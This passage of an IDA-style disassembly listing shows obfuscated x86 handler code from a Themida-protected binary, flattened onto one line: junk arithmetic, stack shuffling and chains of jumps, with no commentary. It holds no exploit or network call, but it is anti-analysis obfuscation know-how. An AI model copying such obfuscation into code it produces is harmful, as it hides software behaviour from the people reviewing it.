0B0h shl bl, 2 shr bl, 6 xor bl, 86h push edx mov dl, bl mov ch, dl jmp loc_54EB7A ; --------------------------------------------------------------------------- loc_557F43: ; CODE XREF: Themida_:005588C6j dec ebp jmp loc_552A90 ; --------------------------------------------------------------------------- loc_557F49: ; CODE XREF: Themida_:00554BC1j pop esp jmp loc_552463 ; --------------------------------------------------------------------------- loc_557F4F: ; CODE XREF: Themida_:0054FCC5j push dword ptr [esp] jmp loc_54F793 ; --------------------------------------------------------------------------- loc_557F57: ; CODE XREF: Themida_:005507F9j pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov bl, 19h shl bl, 8 push edx jmp loc_557AE2 ; --------------------------------------------------------------------------- loc_557F6C: ; CODE XREF: Themida_:0054FAD5j push 1A63h mov [esp], ecx push esp pop ecx push esi mov esi, 42FB5A30h jmp loc_555822 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi jmp loc_550735 ; --------------------------------------------------------------------------- loc_557F93: ; CODE XREF: Themida_:00556792j push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_551C59 ; --------------------------------------------------------------------------- loc_557FA8: ; CODE XREF: Themida_:005507B7j push edx jmp loc_54FE19 ; --------------------------------------------------------------------------- loc_557FAE: ; CODE XREF: Themida_:005502C0j sub ecx, 4 push ecx jmp loc_54EBBA ; --------------------------------------------------------------------------- loc_557FB7: ; CODE XREF: Themida_:00557C53j add eax, edi pop edi pop edx push ebp mov ebp, 3B082632h push ecx push esp pop ecx push ebp mov ebp, 50C70AEAh not ebp push eax mov eax, 7DEE01CCh jmp loc_55A327 ; --------------------------------------------------------------------------- loc_557FD7: ; CODE XREF: Themida_:00557F28j xor edi, eax xor eax, edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_5587EF ; --------------------------------------------------------------------------- loc_557FEF: ; CODE XREF: Themida_:0054EC5Fj sub edx, 10B211F1h mov ecx, edx pop edx add ecx, edi push 1EC9h jmp loc_555462 ; --------------------------------------------------------------------------- mov ax, [esp] push 26E2h mov [esp], edi push 1425h mov [esp], esp jmp loc_55317E ; --------------------------------------------------------------------------- loc_55801D: ; CODE XREF: Themida_:005512A3j sub edi, 0DAD0FB78h jmp loc_5527DE ; --------------------------------------------------------------------------- loc_558028: ; CODE XREF: Themida_:00554C4Ej add esi, 51F255F3h push esi jmp loc_550B77 ; --------------------------------------------------------------------------- loc_558034: ; CODE XREF: Themida_:0055AF4Fj mov [esp], ecx sub esp, 4 mov [esp], edx jmp loc_55AD4E ; --------------------------------------------------------------------------- loc_558042: ; CODE XREF: Themida_:00552741j sub esp, 4 mov [esp], esi jmp loc_554F50 ; --------------------------------------------------------------------------- loc_558050: ; CODE XREF: Themida_:0055A7BCj sub edx, 0FF44E766h add ebx, edx pop edx push edi mov edi, 2FE8343h xor ebx, edi jmp loc_551430 ; --------------------------------------------------------------------------- loc_558066: ; CODE XREF: Themida_:00554DEBj xor eax, 0FB5885AEh sub ebp, eax pop eax add ebp, edi add ebp, 6EA10734h pop edi jmp loc_5591EC ; --------------------------------------------------------------------------- loc_55807C: ; CODE XREF: Themida_:005515D2j add ebx, edx pop edx or [edi+1Ch], ebx mov ebx, [esp] jmp loc_554326 ; --------------------------------------------------------------------------- loc_55808A: ; CODE XREF: Themida_:00557715j mov [esp], ebx jmp loc_54F698 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_5503DB ; --------------------------------------------------------------------------- loc_5580A9: ; CODE XREF: Themida_:005583B6j sub esp, 4 mov [esp], eax mov ah, 0Bh jmp loc_5584B4 ; --------------------------------------------------------------------------- loc_5580B6: ; CODE XREF: Themida_:00555985j add esp, 4 jmp loc_551E42 ; --------------------------------------------------------------------------- loc_5580BE: ; CODE XREF: Themida_:0055088Cj add ebx, edx pop edx jmp loc_557570 ; --------------------------------------------------------------------------- loc_5580C6: ; CODE XREF: Themida_:00551734j pop esi push edi mov edi, esp add edi, 4 jmp loc_557759 ; --------------------------------------------------------------------------- loc_5580D5: ; CODE XREF: Themida_:0055555Bj xor eax, 69A2CFB0h mov esi, eax pop eax jmp loc_553BDE ; --------------------------------------------------------------------------- loc_5580E2: ; CODE XREF: Themida_:00552A60j mov eax, 20B64817h sub eax, 1DC54F29h jmp loc_54F3C9 ; --------------------------------------------------------------------------- loc_5580F1: ; CODE XREF: Themida_:0055AD15j pop ebp xchg eax, [esp] pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5580FB: ; CODE XREF: Themida_:0054F6C5j not ebx sub ebx, 0E9E4D9h xor edx, ebx pop ebx and ebx, edx pop edx neg ebx shl ebx, 4 add ebx, 4A6D3A8Bh push eax mov eax, 1E524287h shl eax, 4 dec eax push edx mov edx, 4E160B40h or eax, edx pop edx jmp loc_554D6B ; --------------------------------------------------------------------------- loc_55812C: ; CODE XREF: Themida_:00552030j sub ah, dl sub ah, 30h jmp loc_55683E ; --------------------------------------------------------------------------- loc_558136: ; CODE XREF: Themida_:00555BF1j pop esp mov cx, [esp] push edx push esp pop edx push ebp mov ebp, 4 push ebp mov ebp, 0FED1976h xor ebp, 11117607h shl ebp, 7 xor ebp, 7CB18476h jmp loc_552000 ; --------------------------------------------------------------------------- loc_55815E: ; CODE XREF: Themida_:00557DE9j not eax shr eax, 8 not eax and eax, 6DCB057Bh add eax, 92BFFAD4h add esi, eax pop eax jmp loc_550FF6 ; --------------------------------------------------------------------------- loc_558177: ; CODE XREF: Themida_:00558D41j push edi mov edi, 28C21263h and edi, 7D154B0Eh or edi, 19DD40C4h jmp loc_550C1F ; --------------------------------------------------------------------------- loc_55818E: ; CODE XREF: Themida_:00556A66j mov al, ch jmp loc_55419D ; --------------------------------------------------------------------------- loc_558195: ; CODE XREF: Themida_:0055280Ej sub esp, 4 jmp loc_554764 ; --------------------------------------------------------------------------- loc_55819D: ; CODE XREF: Themida_:0054EACDj add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_551800 ; --------------------------------------------------------------------------- loc_5581B4: ; CODE XREF: Themida_:00559690j mov [esp], edx mov dl, 3Bh push ecx push ebx mov bl, 0DEh mov ch, bl pop ebx or ch, 67h shr ch, 3 push eax push ecx mov ch, 0C8h jmp loc_558E0F ; --------------------------------------------------------------------------- loc_5581CF: ; CODE XREF: Themida_:005578F8j pop ebx jmp loc_550527 ; --------------------------------------------------------------------------- loc_5581D5: ; CODE XREF: Themida_:0054FBC5j push esp mov esi, [esp] add esp, 4 add esi, 4 push edx mov edx, 15AD6514h sub edx, 62315443h push ebx mov ebx, 36BC379Fh push edi mov edi, 42517260h jmp loc_55014D ; --------------------------------------------------------------------------- loc_5581FF: ; CODE XREF: Themida_:00559DF1j pop eax mov ebx, eax push dword ptr [esp] jmp loc_555C4E ; --------------------------------------------------------------------------- loc_55820A: ; CODE XREF: Themida_:00552BD9j sub esp, 4 mov [esp], esi mov esi, 73850D56h sub esi, 14D29D56h add eax, esi pop esi push 1FDCh mov [esp], eax push dword ptr [esp] pop ebx add esp, 4 pop eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558236: ; CODE XREF: Themida_:005591B0j mov [esp], edi jmp loc_5589A6 ; --------------------------------------------------------------------------- loc_55823E: ; CODE XREF: Themida_:0055924Dj neg ebp inc ebp push esi jmp loc_55772A ; --------------------------------------------------------------------------- loc_558247: ; CODE XREF: Themida_:00550FBEj xor edi, edx mov edx, [esp] add esp, 4 jmp loc_556485 ; --------------------------------------------------------------------------- loc_558257: ; CODE XREF: Themida_:005527B2j add esp, 4 retn ; --------------------------------------------------------------------------- jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558260: ; CODE XREF: Themida_:0054FCB5j pop dword ptr [esp] pop esp push edi push ebx push 75EE154Bh mov ebx, [esp] jmp loc_55A604 ; --------------------------------------------------------------------------- loc_558273: ; CODE XREF: Themida_:005593A8j mov ebp, edx pop edx jmp loc_550A93 ; --------------------------------------------------------------------------- loc_55827B: ; CODE XREF: Themida_:0054EC13j mov ecx, 18C0382Fh xor ecx, 70A76F84h and esi, ecx jmp loc_55A254 ; --------------------------------------------------------------------------- lodsw xor ax, bx sub esp, 2 mov [esp], bx push eax mov ax, 5945h jmp loc_554BDC ; --------------------------------------------------------------------------- loc_5582A3: ; CODE XREF: Themida_:00551D93j pop ebp xor ebp, edx pop edx xor esi, ebp pop ebp and esi, 4F38054Ch push ebp jmp loc_553D14 ; --------------------------------------------------------------------------- loc_5582B6: ; CODE XREF: Themida_:00554C0Fj mov edx, 6CF903F8h or ebp, edx pop edx add ebp, 42A734C4h jmp loc_554AF6 ; --------------------------------------------------------------------------- loc_5582C9: ; CODE XREF: Themida_:0054FCA7j sub edx, 2AE3661Ch pop eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5582D5: ; CODE XREF: Themida_:0054F169j add ebx, 2 xchg ebx, [esp] mov esp, [esp] xor bl, al movzx eax, al mov dx, [esp] push eax push 608Eh jmp loc_54FCCA ; --------------------------------------------------------------------------- loc_5582F2: ; CODE XREF: Themida_:00557240j mov ebp, 1BBE0BF1h dec ebp jmp loc_554A32 ; --------------------------------------------------------------------------- loc_5582FD: ; CODE XREF: Themida_:005576F9j mov edi, esp push ebx mov ebx, 4 jmp loc_54FE67 ; --------------------------------------------------------------------------- dw 8352h dd 72E904ECh db 8Bh, 0FFh db 0FFh ; --------------------------------------------------------------------------- loc_558313: ; CODE XREF: Themida_:005550EBj mov eax, 0D0B1DBCh push ebx mov ebx, 0D0B1DB8h sub eax, ebx pop ebx mov ecx, eax pop eax add ebp, 184754A4h sub ebp, ecx push ecx mov ecx, 534E54D6h shr ecx, 5 inc ecx add ecx, 15ACE1FDh sub ebp, ecx jmp loc_5560D3 ; --------------------------------------------------------------------------- loc_558343: ; CODE XREF: Themida_:0055489Fj mov edx, [esp] add esp, 4 jmp loc_54F873 ; --------------------------------------------------------------------------- loc_558351: ; CODE XREF: Themida_:005565CAj mov ecx, 21A752F3h shr ecx, 6 push ebx jmp loc_5559CE ; --------------------------------------------------------------------------- loc_55835F: ; CODE XREF: Themida_:00559F69j add edi, 4 xchg edi, [esp] pop esp shr ecx, 7 push 494Dh mov [esp], ebx jmp loc_55290D ; --------------------------------------------------------------------------- loc_558376: ; CODE XREF: Themida_:00553323j add edx, 4 xchg edx, [esp] jmp loc_55045F ; --------------------------------------------------------------------------- loc_558381: ; CODE XREF: Themida_:00558F6Ej or edx, 0A5523BDh jmp loc_55A7B9 ; --------------------------------------------------------------------------- loc_55838C: ; CODE XREF: Themida_:00550646j add esp, 4 push 43D1h mov [esp], eax jmp loc_5513AB ; --------------------------------------------------------------------------- loc_55839F: ; CODE XREF: Themida_:0055A8B7j push ecx mov cl, 98h shl cl, 7 jmp loc_5557DF ; --------------------------------------------------------------------------- loc_5583AA: ; CODE XREF: Themida_:00558E22j mov ch, 7 and ch, 6Eh push eax push edx mov dl, 0F4h shr dl, 6 jmp loc_5580A9 ; --------------------------------------------------------------------------- loc_5583BB: ; CODE XREF: Themida_:00554D66j add esp, 4 push esi mov esi, esp push 3893h mov [esp], ecx jmp loc_55337E ; --------------------------------------------------------------------------- loc_5583D1: ; CODE XREF: Themida_:005588BBj add edx, 339C6935h sub esi, edx pop edx jmp loc_550D20 ; --------------------------------------------------------------------------- loc_5583DF: ; CODE XREF: Themida_:0054F16Fj push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 jmp loc_5597B3 ; --------------------------------------------------------------------------- loc_5583F6: ; CODE XREF: Themida_:0055AE54j mov ebx, 52C71AD6h not ebx and ebx, 0E6D6385h shr ebx, 6 dec ebx jmp loc_552DF6 ; --------------------------------------------------------------------------- loc_55840C: ; CODE XREF: Themida_:005576A0j push ecx mov ecx, 27196114h push eax jmp loc_5554D7 ; --------------------------------------------------------------------------- loc_558418: ; CODE XREF: Themida_:0054EEC0j pop edx push esi mov esi, 34FF4BFEh sub ecx, esi pop esi add ecx, edi add ecx, 34FF4BFEh pop edi push eax mov eax, 4EF35C1Ah jmp loc_5510E4 ; --------------------------------------------------------------------------- loc_558436: ; CODE XREF: Themida_:0055AF40j add edi, 4 push ebx jmp loc_555D6B ; --------------------------------------------------------------------------- loc_558442: ; CODE XREF: Themida_:0055256Ej or ebp, 5E28078Ah jmp loc_55554C ; --------------------------------------------------------------------------- loc_55844D: ; CODE XREF: Themida_:00558904j mov ebp, esp jmp loc_553D3B ; --------------------------------------------------------------------------- loc_558454: ; CODE XREF: Themida_:0055005Cj pop esi pop edx inc esi shl esi, 5 sub esi, 1583BF7Ch mov edi, esi pop esi jmp loc_55962F ; --------------------------------------------------------------------------- loc_558468: ; CODE XREF: Themida_:00555E02j not eax jmp loc_553DC3 ; --------------------------------------------------------------------------- loc_55846F: ; CODE XREF: Themida_:00556905j mov esp, [esp] shl dword ptr [esp], cl jmp loc_5527C2 ; --------------------------------------------------------------------------- loc_55847A: ; CODE XREF: Themida_:005599D8j xchg ebx, [esp] jmp loc_54FA4E ; --------------------------------------------------------------------------- loc_558482: ; CODE XREF: Themida_:00557725j mov eax, 28BA7B3Fh neg eax or eax, 68E2327Ah xor eax, 64CD6BCEh sub esp, 4 mov [esp], esi mov esi, 6F1A21FCh and esi, 35B31D9h and esi, 2BF27F4Dh not esi jmp loc_551F6A ; --------------------------------------------------------------------------- loc_5584B4: ; CODE XREF: Themida_:005580B1j inc ah sub ah, 0A7h jmp loc_556E27 ; --------------------------------------------------------------------------- loc_5584BE: ; CODE XREF: Themida_:00558919j xor esi, 53A2D0B5h add ebx, esi jmp loc_54EE4C ; --------------------------------------------------------------------------- loc_5584CB: ; CODE XREF: Themida_:00557C1Fj push eax push esp jmp loc_54FCD7 ; --------------------------------------------------------------------------- loc_5584D2: ; CODE XREF: Themida_:005552AEj pop edi jmp loc_54EEB2 ; --------------------------------------------------------------------------- loc_5584D8: ; CODE XREF: Themida_:0055414Aj push 4C09h mov [esp], ecx push ebx mov ebx, ebp sub esp, 4 jmp loc_5508C2 ; --------------------------------------------------------------------------- loc_5584EB: ; CODE XREF: Themida_:00550A0Aj mov ch, dl mov [eax], ch mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_557092 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_553AA0 ; --------------------------------------------------------------------------- loc_558508: ; CODE XREF: Themida_:00555C49j pop eax inc di not di xor di, 5A5Ch add ax, di pop edi add ax, 43DEh push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_557041 ; --------------------------------------------------------------------------- loc_558529: ; CODE XREF: Themida_:00559FA3j add ebx, 4 jmp loc_55A7C1 ; --------------------------------------------------------------------------- loc_558534: ; CODE XREF: Themida_:0055579Cj or esi, 8831DF9h or esi, 304355E9h jmp loc_54FAEE ; --------------------------------------------------------------------------- loc_558545: ; CODE XREF: Themida_:005552D1j add ecx, 230BE26Ah or eax, ecx push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp add edi, 4 jmp loc_55959E ; --------------------------------------------------------------------------- loc_558561: ; CODE XREF: Themida_:005513F1j sub ebx, eax push edx push eax mov eax, 169104B8h mov edx, eax mov eax, [esp] add esp, 4 push esi mov esi, 30CA5450h jmp loc_555D13 ; --------------------------------------------------------------------------- loc_558580: ; CODE XREF: Themida_:0054EA74j add al, 0ADh push ecx push eax mov al, 1Fh mov cl, 27h xchg al, cl not al xchg al, cl not cl inc cl xor cl, 0B0h jmp loc_558C03 ; --------------------------------------------------------------------------- loc_55859A: ; CODE XREF: Themida_:0054ED23j not dh xor dh, 1Eh push eax mov ah, 0FAh not ah add ah, 5Ah add dh, ah pop eax sub bh, dh jmp loc_5505A4 ; --------------------------------------------------------------------------- loc_5585B1: ; CODE XREF: Themida_:0055768Aj pop esi pop dword ptr [esp] push esi push edi jmp loc_5515A9 ; --------------------------------------------------------------------------- mov ax, [esp] push 3D6Fh mov [esp], ebx push 4494h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push 6163h mov [esp], ecx mov ecx, 675F6DBBh or ecx, 3E4C5816h jmp loc_54EE6E ; --------------------------------------------------------------------------- loc_5585F8: ; CODE XREF: Themida_:005533B5j xchg ebp, [esp] jmp loc_5566AB ; --------------------------------------------------------------------------- loc_558600: ; CODE XREF: Themida_:00556005j push edi mov edi, 0EAB04F78h add ebp, edi pop edi mov edx, ebp pop ebp push ecx mov ecx, 466054C3h jmp loc_556E9A ; --------------------------------------------------------------------------- loc_558617: ; CODE XREF: Themida_:00557166j xor ecx, [esp] pop esp jmp loc_553469 ; --------------------------------------------------------------------------- loc_558620: ; CODE XREF: Themida_:00554FFDj sub cl, dl pop edx and cl, 1Bh push small 0 jmp loc_55A3B4 ; --------------------------------------------------------------------------- loc_55862F: ; CODE XREF: Themida_:0055B16Fj mov ecx, 4 jmp loc_55391C ; --------------------------------------------------------------------------- loc_558639: ; CODE XREF: Themida_:00556E22j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp inc ebx add ebx, 0FFFFFFFFh add ebx, 776C15DCh xor ebx, 5A93A773h sub ebp, 643B026Fh add ebp, ebx add ebp, 643B026Fh pop ebx add ebp, 4 xchg ebp, [esp] jmp loc_558D51 ; --------------------------------------------------------------------------- loc_558679: ; CODE XREF: Themida_:00553CBEj xchg esi, [esp] not esi xchg esi, [esp] pop eax add eax, 67247094h shl eax, 4 xor eax, 3DCBC1D6h jmp loc_556C61 ; --------------------------------------------------------------------------- loc_558694: ; CODE XREF: Themida_:0055A7D2j pop esi add ecx, 4 jmp loc_555B47 ; --------------------------------------------------------------------------- loc_55869D: ; CODE XREF: Themida_:0055A7B4j xor ch, 7Eh jmp loc_552544 ; --------------------------------------------------------------------------- loc_5586A5: ; CODE XREF: Themida_:00551B8Bj push 10543EB2h pop edi and edi, 4233EC6h xor edi, 78626EAEh mov edx, edi pop edi mov ebx, edx pop edx inc ebx dec ebx add ebx, 7B851D96h neg ebx xor ebx, 393ABB5Eh xor edx, ebx pop ebx mov ebp, edx pop edx jmp loc_552F61 ; --------------------------------------------------------------------------- loc_5586D8: ; CODE XREF: Themida_:00559334j push ecx mov ecx, 74753B6Ch jmp loc_54FD5A ; --------------------------------------------------------------------------- loc_5586E3: ; CODE XREF: Themida_:00554BD7j push eax mov eax, 0C184899h push ebx mov ebx, 10C110Bh or eax, ebx pop ebx dec eax shl eax, 1 sub eax, 1A38B330h mov ebx, eax pop eax add esi, 1D92190Dh jmp loc_54FECE ; --------------------------------------------------------------------------- loc_558708: ; CODE XREF: Themida_:00552414j mov cx, [esp] jmp loc_55AAF5 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558719: ; CODE XREF: Themida_:00558984j xor eax, 0A964E263h mov ecx, eax pop eax jmp loc_54F786 ; --------------------------------------------------------------------------- loc_558726: ; CODE XREF: Themida_:0054FF7Ej mov cx, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_5579A1 ; --------------------------------------------------------------------------- loc_55873A: ; CODE XREF: Themida_:00554A20j add esi, 5504705Eh pop eax sub esi, 4865AA79h push esi pop ebx pop esi add ebx, edi mov ecx, [ebx] pop ebx push 3320h mov [esp], esi mov esi, 80h and ecx, esi push dword ptr [esp] pop esi push edx mov edx, esp push ecx mov ecx, 4ACF4957h xor ecx, 47466B6Eh sub esp, 4 mov [esp], edx push edi push 4E491D98h pop edi xor edi, 1B2773E1h mov edx, edi jmp loc_55A447 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] mov eax, [esp] jmp loc_55A3A5 ; --------------------------------------------------------------------------- loc_558799: ; CODE XREF: Themida_:0055A35Ej and edx, ebx pop ebx xor edx, 51E136D2h sub eax, 214C65B0h add eax, 36E42648h add eax, edx sub eax, 36E42648h push edi mov edi, 354E47CEh jmp loc_55233C ; --------------------------------------------------------------------------- loc_5587BE: ; CODE XREF: Themida_:00554F75j pop esi push 1B54h mov [esp], ecx jmp loc_5502C5 ; --------------------------------------------------------------------------- loc_5587CC: ; CODE XREF: Themida_:005532D1j xor [esp+4], eax pop eax push dword ptr [esp] pop eax add esp, 4 push esi push ebx mov ebx, 79D70800h add ebx, 53E53944h not ebx jmp loc_54ED28 ; --------------------------------------------------------------------------- loc_5587EF: ; CODE XREF: Themida_:00557FEAj mov esp, [esp] mov [esp], edx jmp loc_5535E8 ; --------------------------------------------------------------------------- loc_5587FA: ; CODE XREF: Themida_:0054ECC0j add ebx, 1 push edi push 646Ah mov [esp], edx mov edx, 3FD673DAh mov edi, edx pop edx or edi, 6986E91h add edi, 1 jmp loc_5549B6 ; --------------------------------------------------------------------------- loc_55881F: ; CODE XREF: Themida_:0054F758j push dword ptr [esp] pop ebx push 6290h mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor al, cl push dword ptr [esp] pop ecx add esp, 4 sub bl, 63h jmp loc_55B039 ; --------------------------------------------------------------------------- loc_55884B: ; CODE XREF: Themida_:0055A6F7j push ebx jmp loc_55305A ; --------------------------------------------------------------------------- locret_558851: ; CODE XREF: Themida_:00551B58j retn ; --------------------------------------------------------------------------- jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558857: ; CODE XREF: Themida_:00553F39j push 0B893106h mov ebx, [esp] add esp, 4 xor ebx, 723043F1h push edx mov edx, 5E9D7319h xor edx, 4DF4B5Ah xor ebx, edx pop edx mov ebp, ebx mov ebx, [esp] add esp, 4 xor ebp, eax xor eax, ebp xor ebp, eax not eax xchg eax, ebp jmp loc_552519 ; --------------------------------------------------------------------------- loc_55888D: ; CODE XREF: Themida_:005521E7j xor ebp, 2FF35FF8h push edx mov edx, 77E633E9h xor edx, 39BC7BDEh push ebx mov ebx, 7A8B587Dh shr ebx, 3 or ebx, 2BEF41FAh not ebx neg ebx add ebx, 2868DA3Eh sub edx, ebx pop ebx jmp loc_5583D1 ; --------------------------------------------------------------------------- loc_5588C0: ; CODE XREF: Themida_:0055152Cj push ebp mov ebp, 423C1800h jmp loc_557F43 ; --------------------------------------------------------------------------- loc_5588CB: ; CODE XREF: Themida_:00550930j mov [esp], esi push 4CB07383h pop esi shl esi, 6 or esi, 6254739Fh sub esi, 6E5CF3DDh mov edi, esi pop esi sub ebp, 50CA757Fh jmp loc_558A36 ; --------------------------------------------------------------------------- loc_5588F1: ; CODE XREF: Themida_:005517CDj xor ebx, [esp] pop esp mov [esp], ecx mov ecx, eax push esi mov esi, ecx mov ebx, esi pop esi mov ecx, [esp] push ebp jmp loc_55844D ; --------------------------------------------------------------------------- loc_558909: ; CODE XREF: Themida_:00556C5Cj neg dword ptr [esp] pop ebx push esi mov esi, 63D4312Fh or esi, 2903732Bh jmp loc_5584BE ; --------------------------------------------------------------------------- loc_55891E: ; CODE XREF: Themida_:005559B4j or edi, ebp pop ebp neg edi xor edi, 8109E125h add ecx, edi jmp loc_5549E0 ; --------------------------------------------------------------------------- loc_558930: ; CODE XREF: Themida_:00557BF2j mov [esp], edx mov edx, 70D81F4Ch dec edx and edx, 2625094Fh sub edx, 3AFBAE1h xor ebx, edx pop edx add eax, ebx pop ebx sub eax, 5F90EF3h jmp loc_55A881 ; --------------------------------------------------------------------------- loc_558955: ; CODE XREF: Themida_:0055766Ej mov edi, esp push ecx mov ecx, 4 add edi, 399D2DBEh add edi, ecx sub edi, 399D2DBEh pop ecx add edi, 4 xchg edi, [esp] mov esp, [esp] xor ebx, eax push small word ptr [eax] jmp loc_55A66C ; --------------------------------------------------------------------------- loc_55897F: ; CODE XREF: Themida_:00556E95j not esi xchg eax, esi neg eax jmp loc_558719 ; --------------------------------------------------------------------------- loc_558989: ; CODE XREF: Themida_:005547C7j push dword ptr [esp] jmp loc_557753 ; --------------------------------------------------------------------------- loc_558991: ; CODE XREF: Themida_:00553E29j pop edx add eax, ebp mov ebp, [esp] add esp, 4 add eax, ebx sub eax, 648E27B0h jmp loc_55A2B0 ; --------------------------------------------------------------------------- loc_5589A6: ; CODE XREF: Themida_:00558239j push esi mov esi, 4 push esi jmp loc_555974 ; --------------------------------------------------------------------------- loc_5589B2: ; CODE XREF: Themida_:005514DBj mov ebp, edi pop edi push esi jmp loc_554250 ; --------------------------------------------------------------------------- loc_5589BB: ; CODE XREF: Themida_:0054ED1Cj xor dword ptr [esp], 58691230h pop ecx xor ecx, 58691230h mov eax, [esp] push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi mov edi, [esp] push esi mov esi, esp add esi, 4 jmp loc_55AEE1 ; --------------------------------------------------------------------------- loc_5589E8: ; CODE XREF: Themida_:0055AC18j add eax, edx pop edx sub eax, edi sub eax, 2B401ABh jmp loc_551BDA ; --------------------------------------------------------------------------- loc_5589F7: ; CODE XREF: Themida_:00554CA7j xor ebp, esi jmp loc_54FA1B ; --------------------------------------------------------------------------- loc_5589FE: ; CODE XREF: Themida_:00556480j pop ebp add eax, ebp jmp loc_556423 ; --------------------------------------------------------------------------- loc_558A06: ; CODE XREF: Themida_:00556BCBj pop ecx mov edi, [esp] push ecx mov ecx, esp sub esp, 4 jmp loc_55157B ; --------------------------------------------------------------------------- loc_558A15: ; CODE XREF: Themida_:0055724Ej push 3443237Fh pop eax mov edx, eax jmp loc_559790 ; --------------------------------------------------------------------------- loc_558A22: ; CODE XREF: Themida_:005536D4j xchg edx, [esp] pop esp or ebx, ebx jnz loc_557183 push ebx mov ebx, esp jmp loc_553F5E ; --------------------------------------------------------------------------- loc_558A36: ; CODE XREF: Themida_:005588ECj add ebp, edi add ebp, 50CA757Fh mov edi, [esp] add esp, 4 xchg ebp, [esp] pop esp xor [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558A52: ; CODE XREF: Themida_:00551055j mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp sub al, 0FDh add al, bl add al, 0FDh push dx mov dh, 0B2h add al, dh jmp loc_5592A7 ; --------------------------------------------------------------------------- loc_558A78: ; CODE XREF: Themida_:00550F52j shl ecx, 3 jmp loc_5539EE ; --------------------------------------------------------------------------- loc_558A80: ; CODE XREF: Themida_:00559B8Cj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_5595F9 ; --------------------------------------------------------------------------- loc_558A95: ; CODE XREF: Themida_:0055ACB8j mov esi, 43FF2952h or ecx, esi pop esi jmp loc_551EE6 ; --------------------------------------------------------------------------- loc_558AA2: ; CODE XREF: Themida_:0054F1E2j add esp, 4 push 2099h mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_556B82 ; --------------------------------------------------------------------------- loc_558AC2: ; CODE XREF: Themida_:0054F54Aj add eax, 7A554236h push ebx mov ebx, 51BD7079h sub eax, 3A582C51h sub eax, ebx jmp loc_5575D8 ; --------------------------------------------------------------------------- loc_558AD9: ; CODE XREF: Themida_:00550DA2j push ebx mov bh, 3Fh not bh and bh, 0F3h shr bh, 2 push ecx mov ch, 0E1h sub bh, ch pop ecx mov cl, bh pop ebx dec cl jmp loc_55A06D ; --------------------------------------------------------------------------- loc_558AF4: ; CODE XREF: Themida_:005558A9j xor edi, 0F6DA0404h add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] jmp loc_5558E1 ; --------------------------------------------------------------------------- loc_558B0B: ; CODE XREF: Themida_:00554C8Ej add esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] test ecx, eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558B2A: ; CODE XREF: Themida_:00554E99j push edi push 5CA33BF8h pop edi sub edi, 7B330617h add edi, 1 push edx jmp loc_54ECC5 ; --------------------------------------------------------------------------- loc_558B43: ; CODE XREF: Themida_:00551A71j mov edx, [esp] jmp loc_550E4D ; --------------------------------------------------------------------------- loc_558B4B: ; CODE XREF: Themida_:0055A41Dj push dword ptr [esp] pop ebp push ebp mov ebp, esp push edi mov edi, 15A66760h or edi, 301A3Fh shl edi, 4 jmp loc_558D9A ; --------------------------------------------------------------------------- loc_558B66: ; CODE XREF: Themida_:00554E45j pop edx add eax, 4 push esi mov esi, esp push eax mov eax, 7BC662E7h dec eax shr eax, 1 dec eax dec eax jmp loc_551FA7 ; --------------------------------------------------------------------------- loc_558B7D: ; CODE XREF: Themida_:00559526j shl esi, 4 push edx push edi push 27E37653h pop edi xor edi, 125E19A2h sub edi, 0D8A335Eh mov edx, edi pop edi jmp loc_553477 ; --------------------------------------------------------------------------- loc_558B9C: ; CODE XREF: Themida_:0055AE1Fj inc edi push ecx mov ecx, 9C63705h add edi, 3ECF6633h sub edi, ecx sub edi, 3ECF6633h pop ecx push ebp push edx mov edx, 74830AADh mov ebp, edx pop edx shl ebp, 2 and ebp, 39814F90h jmp loc_554F7A ; --------------------------------------------------------------------------- loc_558BCA: ; CODE XREF: Themida_:00559219j add edi, 4 push ebx mov ebx, 2ACB04E6h inc ebx xchg esi, ebx not esi xchg esi, ebx jmp loc_55A3F0 ; --------------------------------------------------------------------------- loc_558BE2: ; CODE XREF: Themida_:0054F590j add ebx, 4 xchg ebx, [esp] pop esp push eax mov eax, 4 add ebp, eax pop eax push ecx push ebp mov ebp, 4 mov ecx, ebp mov ebp, [esp] jmp loc_5551D3 ; --------------------------------------------------------------------------- loc_558C03: ; CODE XREF: Themida_:00558595j xor cl, al jmp loc_54EBE3 ; --------------------------------------------------------------------------- loc_558C0A: ; CODE XREF: Themida_:0054F139j and ebx, 1C6A1D88h sub ebx, 0C203F18Eh sub 